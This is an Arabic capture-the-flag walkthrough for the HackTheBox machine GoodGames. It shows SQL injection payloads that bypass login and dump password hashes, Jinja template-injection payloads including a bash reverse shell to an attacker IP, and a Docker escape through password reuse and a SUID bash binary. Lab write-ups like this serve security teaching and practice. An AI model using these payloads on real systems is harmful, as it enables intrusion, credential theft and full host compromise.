> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/goodgames-hackthebox-writeup.md).

# شرح GoodGames HackTheBox

{% embed url="<https://www.google.com/url?q=https://app.hackthebox.com/machines/446&sa=D&source=calendar&usd=2&usg=AOvVaw2ko0ihHJ569fSXeaF46YAQ>" %}

{% hint style="warning" %}
**المهارات:**

* استغلال حقنات SQL القائمة على UNION
* كسر تجزئات الخوارزميات الضعيفة
* إعادة استخدام كلمة المرور
* استغلال SSTI
* أساسيات الهروب من حاويات Docker
  {% endhint %}

## الاستطلاع

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/a47ee6411c8ec98700188c9ff6d40afa5cd1b680" alt="" width="563"><figcaption></figcaption></figure>

**فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/9404711c607bddd5fd7407ac174932412bd148ac" alt="" width="563"><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**

قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.130 -oG allPorts
```

<figure><img src="/files/9748fbf6d980ddc6f5f7809ce1bcbb23fdc6bd8a" alt=""><figcaption></figcaption></figure>

**تحليل المنافذ المفتوحة باستخدام extractPorts:**

استخدم دالة extractPorts لعرض المنافذ المفتوحة بصيغة مختصرة ونسخها إلى الحافظة (80)

<figure><img src="/files/24f8645d914215dec2fee7a671792c5bf767fa2d" alt="" width="563"><figcaption></figcaption></figure>

فحص إصدارات المنافذ باستخدام Nmap:

استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted":

```bash
nmap -sCV -p80 10.10.11.130 -oN targeted
```

<figure><img src="/files/187cebdb588dc09eb944327f7e38a2c30ceae1d5" alt=""><figcaption></figcaption></figure>

لحل أسماء النطاقات إلى عناوين IP عبر DNS، نقوم بإدراج اسم النطاق المرتبط بعنوان IP الخاص به في `/etc/hosts` الملف:

<figure><img src="/files/c98de9aa995adf533068c06e2be48eeba6b0a5fd" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/a1af78daf27e6c7617c1f9f1027e012ed557b8e9" alt=""><figcaption></figcaption></figure>

**البحث عن الأدلة:**

نستخدم Gobuster للبحث عن الأدلة في الموقع:

```bash
gobuster dir -u http://GoodGames.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 --exclude-length 9265
```

نعثر على دليل للتسجيل.

<figure><img src="/files/4200a70f8ff745796e8ee7d27f164e257053377a" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/08bff406205b7d25dd8032e412f47983ad793afc" alt=""><figcaption></figcaption></figure>

## ثغرة حقن SQL:

باستخدام **Burp Suite**، يمكننا اعتراض الطلب مما يتيح لنا اختبار حقن SQL.

<figure><img src="/files/3d6d33858dc7d08ceee706c0de49edbded461339" alt=""><figcaption></figcaption></figure>

### حقن SQL الأساسي:

لتجاوز المصادقة بحقن بسيط، نستخدم:

```bash
admin ' or 1=1-- -
```

<figure><img src="/files/2dd40654a4bb74a996b6e6e7281aed9c79d9ad09" alt=""><figcaption></figcaption></figure>

هذا النوع من الحقن يجعل الشرط دائمًا صحيحًا (`1=1`)، مما يتيح الوصول إلى لوحة الإدارة متجاوزًا فحوصات بيانات الاعتماد.

<figure><img src="/files/83cecb4841f24598115e721a957db2e865f0d816" alt=""><figcaption></figcaption></figure>

### حقن قائم على UNION

مع هجوم قائم على UNION **SQL القائم على UNION** ، نحاول تحديد عدد الأعمدة لتنظيم الاستعلامات بطريقة متوافقة مع قاعدة البيانات. مثال:

```bash
admin' union select 1,2,3,4-- -
```

يُرجع الخادم استجابة تشير إلى "تم تسجيل الدخول بنجاح"، مما يدل على أن هناك 4 أعمدة.

<figure><img src="/files/e65f199912d8ea20fe06f59127326b0c4704f852" alt=""><figcaption></figcaption></figure>

#### عرض قواعد البيانات

لعرض اسم قاعدة البيانات الحالية، نستخدم:

```bash
admin' union select 1,2,3,database()-- -&password=admin
```

<figure><img src="/files/cdb3ad817b4f04216167c72006e41237fab59a45" alt=""><figcaption></figcaption></figure>

ثم، للحصول على جميع قواعد البيانات المتاحة:

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(schema_name) from information_schema.schemata-- -&password=admin
```

{% endcode %}

النتيجة: `information_schema`, `main`

<figure><img src="/files/3b0c20ad02a27cb93d5a38e1b76ba7081ea8ce53" alt=""><figcaption></figcaption></figure>

#### عرض الجداول

بعد تحديد الـ `main` قاعدة البيانات، نعرض الجداول في هذه القاعدة لاستكشاف البُنى المخزنة:

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='main'-- -
```

{% endcode %}

الجداول التي تم العثور عليها: `blog`, `blog_comments`, `users`.

<figure><img src="/files/ffb5bfae8b7ff89783a23f99b659c84bf0e1e743" alt=""><figcaption></figcaption></figure>

عرض أعمدة جدول

بالنسبة لجدول الـ `users` ، نعرض الأعمدة المتاحة:

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema='main' and table_name='user' -- -
```

{% endcode %}

الأعمدة الموجودة: `البريد الإلكتروني`, `المعرّف`, `معلمة`, `كلمة المرور`.

<figure><img src="/files/b5618cbbae9833106cb7d5f6e7634cb48f9ac707" alt=""><figcaption></figcaption></figure>

#### استخراج بيانات المستخدم

ثم نستخرج البيانات من الـ `users` الجدول:

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(name,':',email,':',password) from main.user -- -
```

{% endcode %}

المستخدم: `Admin`

البريد الإلكتروني: `admin@goodgames.htb`

كلمة المرور (التجزئة): `2b22337f218b2d82dfc3b6f77e7cb8ec`

<figure><img src="/files/03dcaca0893bf8e537b65e53e1c952bd72e68746" alt=""><figcaption></figcaption></figure>

### فك تشفير كلمة المرور

يمكنك استخدام **CrackStation** لفك تشفير تجزئة MD5 التي تم الحصول عليها واستعادة كلمة المرور بالنص الواضح.

{% embed url="<https://crackstation.net/>" %}

<figure><img src="/files/60d46221536e919602f497df3ebb74f139647a3b" alt=""><figcaption></figcaption></figure>

## ثغرة SSTI:

### الوصول إلى نطاق فرعي

للوصول إلى النطاق الفرعي الإداري المكتشف، أضِفه إلى الـ `/etc/hosts` الملف.

<figure><img src="/files/3d237014bf731a1ad5f0922a758b2526b06375da" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/47b039f72fab3bc24a089cb461386fe34ca96c0d" alt=""><figcaption></figcaption></figure>

أخيرًا، باستخدام **admin** بيانات الاعتماد، يمكنك المصادقة على هذا النطاق الفرعي.

`admin:superadministrator`

<figure><img src="/files/1fdd1d04d7db24a69aa64cbfe8cdca5f8eba25fd" alt=""><figcaption></figcaption></figure>

في النطاق الفرعي ستجد تبويبًا لـ **الإعدادات** حيث يمكنك تعديل معلومات المستخدم الإداري (الاسم الكامل، تاريخ الميلاد والهاتف).

<figure><img src="/files/e348d1fb0fa905d3796b9b487d1378bf829daecf" alt=""><figcaption></figcaption></figure>

إذا حاولت في نموذج "الاسم الكامل" تنفيذ هجوم SSTI، فإن الخادم يكون ضعيفًا. لاختبار ذلك باستخدام `{{ }}`، فلنحاول معرفة ما إذا كان يفسر العملية الحسابية:

```python
{{1+1}}
```

<figure><img src="/files/a14171eb2ae35e9cae779de76284a959745de3eb" alt=""><figcaption></figcaption></figure>

بعد ذلك، سننفذ أوامر (على سبيل المثال، `المعرّف`):

```python
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
```

نكتشف أنه موجود في الـ `root` المجموعة.

<figure><img src="/files/6d1c945c375b5c60304737790e24198aa3857d38" alt=""><figcaption></figcaption></figure>

سننشئ shell عكسيًا للوصول إلى الخادم

```python
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.10.14.5/443 0>&1"').read() }}
```

نستمع إلى المنفذ 443 على جهاز الهجوم الخاص بنا:

```bash
nc -nlvp 443
```

<figure><img src="/files/f0d4bd610562af603208c2e3d11271bc928d815a" alt=""><figcaption></figcaption></figure>

### **الراية: user.txt** :)

<figure><img src="/files/5260a5d004b819d92fa3916256ef3af5ffca16c4" alt=""><figcaption></figcaption></figure>

## تصعيد الامتيازات :

بمجرد حصولك على وصول إلى خادم Linux، إليك الأوامر التي يجب تنفيذها للعمل داخل الطرفية:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

سيسمح لك هذا بالعمل بكفاءة أكبر بكثير، وفوق ذلك، براحة أكبر.

### الهروب من Docker:

نلاحظ أن عنوان IP ليس عنوان الجهاز (IP الجهاز: 10.10.11.130؛ IP حاوية Docker: 172.19.0.2).

<div data-full-width="true"><figure><img src="/files/fd67f02a60baa9d642339e3b0aa5d19d407e665a" alt=""><figcaption></figcaption></figure></div>

سنفحص المنافذ يدويًا، لأن `nmap` غير مثبت على البوابة (172.19.0.1):

```bash
for PORT in {0..1000}; do timeout 1 bash -c "</dev/tcp/172.19.0.1/$PORT
&>/dev/null" 2>/dev/null && echo "port $PORT is open"; done
```

نلاحظ أن المنفذ 22 مفتوح (داخليًا)، لذا يمكننا الاتصال عبر SSH.

```bash
for PORT in {0..1000}; do timeout 1 bash -c "</dev/tcp/172.19.0.1/$PORT&>/dev/null" 2>/dev/null && echo "port $PORT is open"; done
```

<figure><img src="/files/da662cd0d5e7d5145c51dc7d09a79be7f4e6ee57" alt=""><figcaption></figcaption></figure>

إذا حاولنا تسجيل الدخول باستخدام حساب root وكلمة المرور `المشرف الأعلى` لا يمكننا تسجيل الدخول، ولكن باستخدام `أوغستوس` نتمكن من الحصول على shell.

<figure><img src="/files/493afb51fcaee568e0ba8f53f5f8640f77926455" alt=""><figcaption></figcaption></figure>

### Bash SUID من Docker

وبما أننا داخل حاوية Docker، فنحن root، سننسخ ملف bash الثنائي من المضيف العادي للجهاز إلى الدليل الرئيسي لـ `أوغستوس`:

```
cp /bin/bash .
```

<figure><img src="/files/32487a2d432810618fb2e89628087e5d3650c2ab" alt="" width="556"><figcaption></figcaption></figure>

من root داخل Docker، سنمنح مجموعة root الإذن لهذا الملف bash وصلاحيات SUID حتى يعمل كـ root:

```bash
chown root:root bash
chmod 4777 bash
```

نعود إلى SSH ونرى:

`-rwsrwxrwx 1 root root 1234376 Oct 28 11:35 bash`

<figure><img src="/files/1a4e5b67462fd7690ca3b6a1178aba51ca7ef94c" alt=""><figcaption></figcaption></figure>

### **تم الحصول على الراية الجذرية :)**

`./bash -p`

<figure><img src="/files/3fd5c4a1076975d7d6fa44a04004ffa4ac780fcb" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/1c84265bcc34c0fe5ccb492cbb8857c9ef65d125" alt="" width="528"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/goodgames-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
